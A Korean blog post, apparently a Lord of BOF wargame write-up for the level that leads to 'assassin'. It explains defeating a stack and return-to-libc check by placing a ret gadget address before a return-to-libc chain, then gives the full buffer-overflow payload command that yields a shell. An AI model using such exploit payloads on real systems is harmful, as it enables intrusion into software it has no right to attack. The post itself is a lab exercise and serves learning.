코드를 보면 no Stack, no RTL 이라는데 RTL 쓸겁니다. 하핳
어떤식으로 저 코드가 우회가 되냐면 Ret에 Ret 주소를 씌움으로써 Ret 가 한번 더 실행되고 Ret 내부적으로 실행되는 pop eip 가 2번 실행 되면서 Ret 뒤에있는 주소를 eip가 가리키게 됩니다.
그 말은 즉 Ret 에는 Ret 주소를 넣고 Ret 뒤에 RTL을 하면 된다는 말! R드럽게 많네
저기 있는 0x0804851e 가 Ret 주소이므로
계획을 세워보면
dummy + SFP [44 byte] + Ret 주소 [4 byte] + RTL
이 되겠습니다.
바로 assassin 에 공격해 봅시다.
./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40"+"ABCD"+"\xf9\xbf\x0f\x40"'`
클리어 !
'Pwnable > LOB' 카테고리의 다른 글
[Level17] zombie_assassin -> succubus (0) | 2017.05.18 |
---|---|
[Level16] assassin -> zombie_assassin (0) | 2017.05.17 |
[Level14] bugbear -> giant (0) | 2017.05.17 |
[Level13] darkknight -> bugbear (0) | 2017.05.17 |
[Level12] golem -> darkknight (0) | 2017.05.17 |